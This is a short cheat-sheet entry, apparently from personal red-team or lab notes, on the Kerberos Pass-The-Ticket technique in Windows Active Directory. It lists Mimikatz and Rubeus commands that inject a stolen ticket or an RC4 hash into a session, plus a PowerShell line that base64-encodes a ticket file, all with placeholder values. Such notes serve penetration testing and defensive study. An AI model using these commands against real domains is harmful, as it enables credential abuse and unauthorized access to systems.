Pass The Ticket

About

Pass-The-Ticket in contrast of Pass-The-Hash and Overpass-The-Hash use a ticket to gain access to the TGS and then for service.

Mimikatz

kerberos::ptt "C:\Users\rio\Desktop\Mimikatz\[0;7f830][e-mail]"

Rubeus

Using Hash

Rubeus.exe asktgt /domain:amogus.kek /user:rio /rc4:1293uo1uwfoi1hw081 /ptt

Unlike command for Overpass-The-Hash, here we are using /ptt to do both Overpass-The-Hash and Pass-The-Ticket simultaneously. But that only works if we give /hash: instead of ticket

Using Ticket

Rubeus.exe ptt /ticket:[0;7f830][e-mail]

Using Encoded Ticket

[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;7f830][e-mail]"))

Rubeus.exe ptt /ticket:LETSIMAGINETHISISOURBASE64ENCODEDKERBEROSTICKET